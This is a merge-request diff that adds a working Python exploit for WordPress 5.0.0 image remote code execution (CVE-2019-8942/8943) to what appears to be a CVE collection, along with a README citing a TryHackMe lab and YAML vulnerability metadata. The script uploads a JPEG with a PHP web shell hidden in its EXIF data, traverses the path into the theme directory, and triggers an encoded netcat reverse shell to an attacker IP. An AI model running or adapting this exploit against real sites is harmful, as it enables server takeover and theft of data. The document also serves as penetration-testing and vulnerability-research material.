Pre Merge pull request !454 from Admin/Feat_CVE-2019-8943
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#/usr/bin/env python3
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# Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
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# Date: 2020-02-01
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# Exploit Author: OUSSAMA RAHALI ( aka V0lck3r)
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# https://www.linkedin.com/in/oussamarahali
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# Discovery Author : RIPSTECH Technology
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# Version: WordPress 5.0.0 and <= 4.9.8 .
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# References : CVE-2019-8942 | CVE-2019-8943 | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
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import requests
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import re
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import sys
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from datetime import datetime
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banner = """
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__ __ _ ____ ____ _____
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\ \ / /__ _ __ __| |_ __ _ __ ___ ___ ___ | _ \ / ___| ____|
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\ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | | | _|
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\ V V / (_) | | | (_| | |_) | | | __/\__ \__ \ | _ <| |___| |___
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\_/\_/ \___/|_| \__,_| .__/|_| \___||___/___/ |_| \_\\____|_____|
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|_|
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5.0.0 and <= 4.9.8
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"""
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print(banner)
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print("usage :")
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print("=======")
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usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
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print(usage)
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url = sys.argv[1]
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username = sys.argv[2]
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password = sys.argv[3]
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wp_theme = sys.argv[4] # wpscan results
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lhost = '10.10.10.10' #attacker ip
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lport = '4141' #listening port
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date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'
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imagename = 'gd.jpg'
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# ======
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# Note :
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# ======
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# It could be any jpg image, BUT there are some modifications first :
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# 1- image name as : "gd.jpg"
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# 2- place the image in the same directory as this exploit.
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# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"
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data = {
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'log':username,
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'pwd':password,
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'wp-submit':'Log In',
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'redirect_to':url+'wp-admin/',
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'testcookie':1
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}
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r = requests.post(url+'wp-login.php',data=data)
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if r.status_code == 200:
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print("[+] Login successful.\n")
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else:
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print("[-] Failed to login.")
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exit(0)
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cookies = r.cookies
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print("[+] Getting Wp Nonce ... ")
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res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
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wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)
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if len(wp_nonce_list) == 0 :
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print("[-] Failed to retrieve the _wpnonce \n")
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exit(0)
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else :
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wp_nonce = wp_nonce_list[0]
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print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")
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print("[+] Uploading the image ... ")
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data = {
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'name': 'gd.jpg',
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'action': 'upload-attachment',
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'_wpnonce': wp_nonce
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}
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image = {'async-upload': (imagename, open(imagename, 'rb'))}
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r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
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if r_upload.status_code == 200:
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image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
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_wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
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print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")
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else :
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print("[-] Failed to receive a response for uploaded image ! try again . \n")
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exit(0)
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print("[+] Changing the path ... ")
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data = {
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'_wpnonce':_wp_nonce,
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'action':'editpost',
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'post_ID':image_id,
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'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
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}
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res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
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if res.status_code == 200:
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print("[+] Path has been changed successfully. \n")
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else :
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print("[-] Failed to change the path ! Make sure the theme is correcte .\n")
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exit(0)
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print("[+] Getting Ajax nonce ... ")
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data = {
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'action':'query-attachments',
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'post_id':0,
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'query[item]':43,
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'query[orderby]':'date',
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'query[order]':'DESC',
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'query[posts_per_page]':40,
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'query[paged]':1
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}
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res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
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ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)
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if res.status_code == 200 and len(ajax_nonce_list) != 0 :
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ajax_nonce = ajax_nonce_list[0]
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print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
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else :
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print("[-] Failed to retrieve ajax_nonce.\n")
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exit(0)
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print("[+] Cropping the uploaded image ... ")
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data = {
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'action':'crop-image',
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'_ajax_nonce':ajax_nonce,
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'id':image_id,
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'cropDetails[x1]':0,
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'cropDetails[y1]':0,
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'cropDetails[width]':200,
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'cropDetails[height]':100,
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'cropDetails[dst_width]':200,
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'cropDetails[dst_height]':100
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}
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res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
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if res.status_code == 200:
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print("[+] Done . \n")
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else :
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print("[-] Erorr ! Try again \n")
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exit(0)
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print("[+] Creating a new post to include the image... ")
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res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
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if res.status_code == 200:
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_wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]
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post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]
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print("[+] Post created successfully . \n")
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else :
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print("[-] Erorr ! Try again \n")
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exit(0)
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data={
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'_wpnonce':_wpnonce,
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'action':'editpost',
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'post_ID':post_id,
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'post_title':'RCE poc by v0lck3r',
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'post_name':'RCE poc by v0lck3r',
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'meta_input[_wp_page_template]':'cropped-rahali.jpg'
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}
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res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
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if res.status_code == 200:
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print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')
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print("[+] Executing payload !")
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requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)
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else :
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print("[-] Erorr ! Try again (maybe change the payload) \n")
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exit(0)
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@ -0,0 +1,19 @@
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# CVE-2019-8943
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WordPress 5.0.0 - Image Remote Code Execution
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Exploit of CVE-2019-8942 and CVE-2019-8943 using python : ExploitDB : https://www.exploit-db.com/exploits/49512
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The original exploit for metasploit : WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit) : https://www.exploit-db.com/exploits/46662
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## video :
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[](https://player.vimeo.com/video/507536840)
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## Description:
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The video below demonstrates how an attacker could potentially compromise a wordpress website and achieve RCE (remote code execution) by exploiting the vulnerabilities linked above (CVE-2019-8942 and CVE-2019-8943).
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Note: I made this exploit while I was working on tryhackme blog room : https://tryhackme.com/room/blog without using metasploit .
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By : Oussama RAHALI
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@ -0,0 +1,20 @@
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id: CVE-2019-8943
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source: https://github.com/v0lck3r/CVE-2019-8943
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info:
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name: WordPress
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severity: MEDIUM
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description: |
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WordPress through 5.0.3 allows Path Traversal in wp_crop_image(). An attacker (who has privileges to crop an image) can write the output image to an arbitrary directory via a filename containing two image extensions and ../ sequences, such as a filename ending with the .jpg?/../../file.jpg substring.
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scope-of-influence:
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WordPress < 4.9.9
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WordPress 5.x < 5.0.3
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2019-8943
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
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cvss-score: 6.5
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cve-id: CVE-2019-8943
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cwe-id: CWE-22
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cnvd-id: None
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kve-id: None
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tags: RCE, 远程代码执行
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@ -100,6 +100,8 @@ cve:
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weblogic:
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- CVE-2020-2551
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- CVE-2020-14882
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wordpress:
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- CVE-2019-8943
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polkit:
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- CVE-2021-4034
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- CVE-2021-4115
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